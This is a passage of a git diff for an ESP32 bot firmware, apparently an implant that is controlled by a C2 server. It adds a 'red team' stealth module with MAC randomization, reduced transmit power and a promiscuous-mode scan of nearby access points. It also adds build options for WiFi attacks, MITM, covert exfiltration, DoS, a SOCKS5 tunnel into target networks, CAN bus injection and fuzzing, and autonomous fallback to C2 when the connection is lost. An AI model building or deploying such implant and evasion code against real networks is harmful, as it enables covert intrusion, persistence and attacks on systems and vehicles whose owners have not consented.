ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); + } else { + ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err)); + } +} + +void rt_stealth_restore_mac(void) +{ + if (s_mac_saved) { + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(50)); + esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac); + ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X", + s_orig_mac[0], s_orig_mac[1], s_orig_mac[2], + s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]); + } +} + +void rt_stealth_get_current_mac(uint8_t mac[6]) +{ + esp_wifi_get_mac(WIFI_IF_STA, mac); +} + +/* ============================================================ + * TX power control + * ============================================================ */ + +void rt_stealth_low_tx_power(void) +{ + /* 8 dBm (arg * 0.25 dBm, so 32 = 8 dBm) */ + esp_err_t err = esp_wifi_set_max_tx_power(32); + if (err == ESP_OK) { + ESP_LOGI(TAG, "TX power reduced to 8 dBm"); + } else { + ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err)); + } +} + +void rt_stealth_restore_tx_power(void) +{ + esp_wifi_set_max_tx_power(80); /* 20 dBm */ + ESP_LOGI(TAG, "TX power restored to 20 dBm"); +} + +/* ============================================================ + * Passive scan — promiscuous mode beacon capture + * ============================================================ */ + +/* WiFi management frame header */ +typedef struct { + unsigned frame_ctrl:16; + unsigned duration_id:16; + uint8_t addr1[6]; /* Destination */ + uint8_t addr2[6]; /* Source */ + uint8_t addr3[6]; /* BSSID */ + unsigned seq_ctrl:16; +} __attribute__((packed)) wifi_mgmt_hdr_t; + +/* Beacon frame body (partial — just what we need) */ +/* Fixed fields: timestamp(8) + beacon_interval(2) + capability(2) = 12 bytes */ +#define BEACON_FIXED_LEN 12 +/* Tag: SSID = tag_number 0, followed by length, then SSID string */ + +static rt_scan_ap_t s_scan_results[RT_MAX_SCAN_APS]; +static volatile int s_scan_count = 0; + +/* Check if we already have this BSSID */ +static int find_bssid(const uint8_t bssid[6]) +{ + for (int i = 0; i < s_scan_count; i++) { + if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0) + return i; + } + return -1; +} + +static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (type != WIFI_PKT_MGMT) return; + + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; + wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload; + + /* Check frame type: beacon = 0x80, probe response = 0x50 */ + uint16_t fc = hdr->frame_ctrl; + uint8_t subtype = (fc >> 4) & 0x0F; + if (subtype != 8 && subtype != 5) return; /* 8=beacon, 5=probe_resp */ + + /* BSSID is addr3 for beacons */ + const uint8_t *bssid = hdr->addr3; + + /* Skip if already seen */ + if (find_bssid(bssid) >= 0) { + /* Update RSSI if stronger */ + int idx = find_bssid(bssid); + if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) { + s_scan_results[idx].rssi = pkt->rx_ctrl.rssi; + } + return; + } + + if (s_scan_count >= RT_MAX_SCAN_APS) return; + + /* Parse beacon body for SSID */ + size_t hdr_len = sizeof(wifi_mgmt_hdr_t); + size_t body_offset = hdr_len + BEACON_FIXED_LEN; + + if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2)) + return; + + /* Parse tagged parameters for SSID (tag 0) and RSN/WPA (security) */ + const uint8_t *body = pkt->payload + body_offset; + size_t body_len = pkt->rx_ctrl.sig_len - body_offset; + /* Remove FCS (4 bytes) if present */ + if (body_len > 4) body_len -= 4; + + rt_scan_ap_t *ap = &s_scan_results[s_scan_count]; + memset(ap, 0, sizeof(*ap)); + memcpy(ap->bssid, bssid, 6); + ap->rssi = pkt->rx_ctrl.rssi; + ap->channel = pkt->rx_ctrl.channel; + ap->auth_mode = 0; /* Assume open until we find RSN/WPA tag */ + + /* Parse IEs (Information Elements) */ + size_t pos = 0; + while (pos + 2 <= body_len) { + uint8_t tag_id = body[pos]; + uint8_t tag_len = body[pos + 1]; + + if (pos + 2 + tag_len > body_len) break; + + if (tag_id == 0) { /* SSID */ + size_t ssid_len = tag_len; + if (ssid_len > 32) ssid_len = 32; + memcpy(ap->ssid, body + pos + 2, ssid_len); + ap->ssid[ssid_len] = '\0'; + } else if (tag_id == 48) { /* RSN (WPA2) */ + ap->auth_mode = 3; /* WPA2 */ + } else if (tag_id == 221) { /* Vendor specific — check for WPA OUI */ + if (tag_len >= 4 && + body[pos + 2] == 0x00 && body[pos + 3] == 0x50 && + body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) { + if (ap->auth_mode == 0) ap->auth_mode = 2; /* WPA */ + } + } + + pos += 2 + tag_len; + } + + s_scan_count++; +} + +int rt_stealth_passive_scan(int duration_ms) +{ + s_scan_count = 0; + memset(s_scan_results, 0, sizeof(s_scan_results)); + + /* Enable promiscuous mode */ + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret)); + return 0; + } + + /* Filter management frames only (beacons, probe responses) */ + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT + }; + esp_wifi_set_promiscuous_filter(&filter); + + ret = esp_wifi_set_promiscuous(true); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret)); + return 0; + } + + ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms); + + /* Channel hop: ~200ms per channel, 13 channels per cycle */ + int channels = 13; + int hop_ms = 200; + int elapsed = 0; + + while (elapsed < duration_ms) { + for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) { + esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE); + vTaskDelay(pdMS_TO_TICKS(hop_ms)); + elapsed += hop_ms; + } + } + + /* Disable promiscuous mode */ + esp_wifi_set_promiscuous(false); + + ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count); + return s_scan_count; +} + +int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count) +{ + int count = s_scan_count; + if (count > max_count) count = max_count; + memcpy(out, s_scan_results, count * sizeof(rt_scan_ap_t)); + return count; +} + +#else /* !CONFIG_MODULE_REDTEAM — empty stubs */ + +#include + +void rt_stealth_save_original_mac(void) {} +void rt_stealth_randomize_mac(void) {} +void rt_stealth_restore_mac(void) {} +void rt_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); } +void rt_stealth_low_tx_power(void) {} +void rt_stealth_restore_tx_power(void) {} +int rt_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; } +int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; } + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_stealth.h b/espilon_bot/components/mod_redteam/rt_stealth.h new file mode 100644 index 0000000..d3fe2de --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_stealth.h @@ -0,0 +1,54 @@ +/* + * rt_stealth.h + * OPSEC: MAC randomization, TX power control, passive scanning. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Save the current STA MAC as original (call once at module init). */ +void rt_stealth_save_original_mac(void); + +/* Randomize the STA MAC (locally-administered unicast). */ +void rt_stealth_randomize_mac(void); + +/* Restore the original MAC. */ +void rt_stealth_restore_mac(void); + +/* Get current STA MAC. */ +void rt_stealth_get_current_mac(uint8_t mac[6]); + +/* Reduce TX power to stealth level (~8 dBm). */ +void rt_stealth_low_tx_power(void); + +/* Restore TX power to default (20 dBm). */ +void rt_stealth_restore_tx_power(void); + +/* Passive scan: channel-hop in promiscuous mode, collect beacons. + * Results stored internally, retrieve with rt_stealth_get_scan_results. + * duration_ms: total scan time (e.g. 3000 for 3s). + * Returns number of unique APs found. */ +int rt_stealth_passive_scan(int duration_ms); + +/* AP info collected during passive scan */ +typedef struct { + uint8_t bssid[6]; + char ssid[33]; + int8_t rssi; + uint8_t channel; + uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */ +} rt_scan_ap_t; + +#define RT_MAX_SCAN_APS 32 + +/* Get passive scan results. Returns count. */ +int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_system/CMakeLists.txt b/espilon_bot/components/mod_system/CMakeLists.txt index 0e7e253..a701a9d 100644 --- a/espilon_bot/components/mod_system/CMakeLists.txt +++ b/espilon_bot/components/mod_system/CMakeLists.txt @@ -2,5 +2,5 @@ idf_component_register( SRCS cmd_system.c INCLUDE_DIRS . - REQUIRES core command esp_timer nvs_flash spi_flash + REQUIRES core esp_timer nvs_flash spi_flash ) diff --git a/espilon_bot/components/mod_system/cmd_system.c b/espilon_bot/components/mod_system/cmd_system.c index 6aeb2da..4aed64f 100644 --- a/espilon_bot/components/mod_system/cmd_system.c +++ b/espilon_bot/components/mod_system/cmd_system.c @@ -15,7 +15,6 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" -#include "command.h" #include "utils.h" #define TAG "SYSTEM" @@ -149,6 +148,26 @@ static int cmd_system_info( first = 0; #endif #endif +#ifdef CONFIG_MODULE_HONEYPOT + len += snprintf(buf + len, sizeof(buf) - len, "%shoneypot", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_CANBUS + len += snprintf(buf + len, sizeof(buf) - len, "%scanbus", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_FALLBACK + len += snprintf(buf + len, sizeof(buf) - len, "%sfallback", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_MODULE_REDTEAM + len += snprintf(buf + len, sizeof(buf) - len, "%sredteam", first ? "" : ","); + first = 0; +#endif +#ifdef CONFIG_ESPILON_OTA_ENABLED + len += snprintf(buf + len, sizeof(buf) - len, "%sota", first ? "" : ","); + first = 0; +#endif if (first) { len += snprintf(buf + len, sizeof(buf) - len, "none"); diff --git a/espilon_bot/main/CMakeLists.txt b/espilon_bot/main/CMakeLists.txt index f295d26..d14bf3c 100644 --- a/espilon_bot/main/CMakeLists.txt +++ b/espilon_bot/main/CMakeLists.txt @@ -1,3 +1,3 @@ idf_component_register(SRCS "bot-lwip.c" INCLUDE_DIRS "." - REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system command) + REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system mod_honeypot mod_ota mod_fallback mod_redteam mod_canbus) diff --git a/espilon_bot/main/Kconfig b/espilon_bot/main/Kconfig index dc70c30..c3f261c 100644 --- a/espilon_bot/main/Kconfig +++ b/espilon_bot/main/Kconfig @@ -40,12 +40,36 @@ config WIFI_PASS endmenu menu "GPRS Settings" - depends on NETWORK_GPRS + depends on NETWORK_GPRS || FB_GPRS_FALLBACK config GPRS_APN string "APN" default "sl2sfr" +config GPRS_TXD_PIN + int "UART TX GPIO" + default 27 + +config GPRS_RXD_PIN + int "UART RX GPIO" + default 26 + +config GPRS_PWR_KEY + int "Modem PWRKEY GPIO" + default 4 + +config GPRS_PWR_EN + int "Modem Power Enable GPIO" + default 23 + +config GPRS_RESET_PIN + int "Modem Reset GPIO" + default 5 + +config GPRS_LED_GPIO + int "Status LED GPIO" + default 13 + endmenu endmenu @@ -66,6 +90,28 @@ config SERVER_PORT endmenu +################################################ +# Async Workers +################################################ +menu "Async Workers" + +config ASYNC_WORKER_COUNT + int "Number of async command workers" + default 2 + range 1 4 + help + Number of FreeRTOS tasks that process async commands + in parallel on Core 1. + +config ASYNC_QUEUE_DEPTH + int "Async command queue depth" + default 8 + range 4 32 + help + Maximum number of async commands waiting to be processed. + +endmenu + ################################################ # Modules (Command Providers) ################################################ @@ -75,7 +121,7 @@ config MODULE_NETWORK bool "Network Commands" default y help - ping, arp_scan, proxy, dos, etc. + ping, arp_scan, dos, tunnel proxy, etc. config MODULE_RECON bool "Recon Commands" @@ -90,6 +136,245 @@ config MODULE_FAKEAP help Fake AP, captive portal, sniffer. +config MODULE_HONEYPOT + bool "Honeypot Module" + default n + help + TCP honeypot services (SSH, Telnet, HTTP, FTP), + WiFi monitor, network anomaly detector. + +config MODULE_FALLBACK + bool "Fallback - Resilient Connectivity" + default n + help + Autonomous network recovery module. Auto-triggers on C2 loss. + WiFi mode: hunts for networks, tries known WiFi, open WiFi, captive bypass. + GPRS mode: restarts modem, tries WiFi fallback if enabled. + Fully autonomous, no C2 commands needed. + +config MODULE_REDTEAM + bool "Red Team - Offensive Operations" + default n + depends on NETWORK_WIFI + help + Offensive red team capabilities: WiFi attacks, + network MITM, covert exfiltration, implant management. + +config MODULE_CANBUS + bool "CAN Bus Module (MCP2515)" + default n + help + CAN bus via MCP2515 SPI controller: sniff, inject, UDS, OBD-II, fuzzing. + Requires MCP2515 module with TJA1050 transceiver. + +config MODULE_TUNNEL + bool "SOCKS5 Tunnel Proxy" + default n + depends on MODULE_NETWORK + help + Multiplexed SOCKS5 tunnel proxy. Connects to C3PO tunnel + server and allows concurrent TCP connections through the + ESP32 to the target network. Use with proxychains/nmap/curl. + +config ESPILON_OTA_ENABLED + bool "OTA Updates" + default y + help + Enable over-the-air firmware updates. + +config ESPILON_OTA_ALLOW_HTTP + bool "Allow OTA over plain HTTP (insecure)" + default n + depends on ESPILON_OTA_ENABLED + help + Allow firmware downloads over HTTP in addition to HTTPS. + WARNING: No TLS verification, use only on trusted networks. + +endmenu + +################################################ +# Tunnel Module Settings +################################################ +menu "Tunnel Settings" + depends on MODULE_TUNNEL + +config TUNNEL_MAX_CHANNELS + int "Maximum concurrent channels" + default 8 + range 4 16 + help + Maximum number of simultaneous TCP connections through + the tunnel. Each channel uses ~1.2 KB of lwIP memory. + +config TUNNEL_FRAME_MAX + int "Maximum frame data size" + default 4096 + range 1024 8192 + help + Maximum payload per frame. Larger = better throughput, + but uses more stack/heap memory. + +config TUNNEL_ENCRYPT + bool "Per-frame AEAD encryption" + default n + help + Encrypt each tunnel frame with ChaCha20-Poly1305. + Adds 28 bytes overhead per frame. Recommended when + the tunnel crosses untrusted networks. + +config TUNNEL_TASK_STACK + int "Tunnel task stack size" + default 6144 + range 4096 8192 + +endmenu + +################################################ +# CAN Bus Module Settings +################################################ +menu "CAN Bus Settings" + depends on MODULE_CANBUS + +config CANBUS_SPI_HOST + int "SPI host (2=HSPI, 3=VSPI)" + default 3 + range 2 3 + +config CANBUS_PIN_MOSI + int "SPI MOSI GPIO" + default 23 + +config CANBUS_PIN_MISO + int "SPI MISO GPIO" + default 19 + +config CANBUS_PIN_SCK + int "SPI SCK GPIO" + default 18 + +config CANBUS_PIN_CS + int "SPI CS (chip select) GPIO" + default 5 + +config CANBUS_PIN_INT + int "MCP2515 INT (interrupt) GPIO" + default 4 + +config CANBUS_OSC_MHZ + int "MCP2515 oscillator frequency (MHz)" + default 8 + help + Most cheap modules use 8MHz. Some use 16MHz. + Check the crystal on your module. + +config CANBUS_DEFAULT_BITRATE + int "Default CAN bitrate (bps)" + default 500000 + help + Standard automotive: 500000. Trucks (J1939): 250000. + +config CANBUS_SPI_CLOCK_HZ + int "SPI clock speed (Hz)" + default 10000000 + help + MCP2515 supports up to 10MHz SPI clock. + +config CANBUS_RECORD_BUFFER + int "Record buffer size (frames)" + default 512 + range 64 2048 + +config CANBUS_ISO_TP + bool "Enable ISO-TP transport layer" + default y + help + Required for UDS and OBD-II (multi-frame messages > 8 bytes). + +config CANBUS_UDS + bool "Enable UDS diagnostic services" + default y + depends on CANBUS_ISO_TP + +config CANBUS_OBD + bool "Enable OBD-II PID decoder" + default y + depends on CANBUS_ISO_TP + +config CANBUS_FUZZ + bool "Enable CAN fuzzing engine" + default y + +endmenu + +################################################ +# Fallback Module Settings +################################################ +menu "Fallback Module Settings" + depends on MODULE_FALLBACK + +config FB_AUTO_HUNT + bool "Auto-activate on C2 connection loss" + default y + help + Start C2 failover after FB_TCP_FAIL_THRESHOLD consecutive + TCP failures, then trigger full network hunt if all C2 + fallback addresses are unreachable. + +config FB_STEALTH + bool "Enable stealth features (MAC random, low TX, passive scan)" + default y + +config FB_MAX_KNOWN_NETWORKS + int "Max known networks in NVS" + default 16 + range 4 32 + +config FB_MAX_C2_FALLBACKS + int "Max C2 fallback addresses" + default 4 + range 1 8 + +config FB_TCP_FAIL_THRESHOLD + int "TCP failures before C2 failover" + default 10 + range 3 30 + help + Consecutive TCP connect failures before trying C2 fallback + addresses, then triggering full network hunt. + +config FB_WIFI_FAIL_THRESHOLD + int "WiFi reconnect failures before hunt" + default 10 + range 3 20 + depends on NETWORK_WIFI + help + WiFi reconnect failures in the event handler before + auto-triggering the fallback hunt. + +config FB_GPRS_FALLBACK + bool "GPRS fallback (cellular backup for WiFi mode)" + default n + depends on NETWORK_WIFI + help + Last resort when all WiFi strategies fail: init SIM800 + modem and connect to C2 via GPRS. + +config FB_WIFI_FALLBACK + bool "WiFi fallback (WiFi backup for GPRS mode)" + default n + depends on NETWORK_GPRS + help + When GPRS modem is dead, init WiFi and hunt for networks. + +config FB_GPRS_FAIL_THRESHOLD + int "GPRS modem failures before WiFi fallback" + default 5 + range 2 10 + depends on FB_WIFI_FALLBACK + help + Consecutive GPRS connection failures before triggering + WiFi fallback hunt. + endmenu ################################################ @@ -136,6 +421,15 @@ config CRYPTO_FCTRY_KEY help NVS key name for the 32-byte master key blob in the factory partition. +config C2_VERIFY_SERVER + bool "Verify C2 server identity on connect" + default y + depends on NETWORK_WIFI + help + Performs a challenge-response handshake after TCP connect + to verify the server possesses the shared encryption key. + Protects against MITM attacks without requiring TLS. + endmenu ################################################ diff --git a/espilon_bot/main/bot-lwip.c b/espilon_bot/main/bot-lwip.c index 56b5d4e..cef7a88 100644 --- a/espilon_bot/main/bot-lwip.c +++ b/espilon_bot/main/bot-lwip.c @@ -9,7 +9,6 @@ #include "freertos/task.h" #include "utils.h" -#include "command.h" #include "cmd_system.h" /* Module headers */ @@ -25,6 +24,26 @@ #include "cmd_recon.h" #endif +#ifdef CONFIG_MODULE_HONEYPOT +#include "cmd_honeypot.h" +#endif + +#ifdef CONFIG_MODULE_FALLBACK +#include "cmd_fallback.h" +#endif + +#ifdef CONFIG_MODULE_REDTEAM +#include "cmd_redteam.h" +#endif + +#ifdef CONFIG_MODULE_CANBUS +#include "cmd_canbus.h" +#endif + +#ifdef CONFIG_ESPILON_OTA_ENABLED +#include "cmd_ota.h" +#endif + static const char *TAG = "MAIN"; static esp_log_level_t espilon_log_level_from_kconfig(void) @@ -105,6 +124,31 @@ void app_main(void) #endif #endif +#ifdef CONFIG_MODULE_HONEYPOT + mod_honeypot_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "Honeypot module loaded"); +#endif + +#ifdef CONFIG_MODULE_FALLBACK + mod_fallback_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "Fallback module loaded"); +#endif + +#ifdef CONFIG_MODULE_REDTEAM + mod_redteam_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "Red Team module loaded"); +#endif + +#ifdef CONFIG_MODULE_CANBUS + mod_canbus_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "CAN Bus module loaded"); +#endif + +#ifdef CONFIG_ESPILON_OTA_ENABLED + mod_ota_register_commands(); + ESPILON_LOGI_PURPLE(TAG, "OTA module loaded"); +#endif + command_log_registry_summary(); /* =====================================================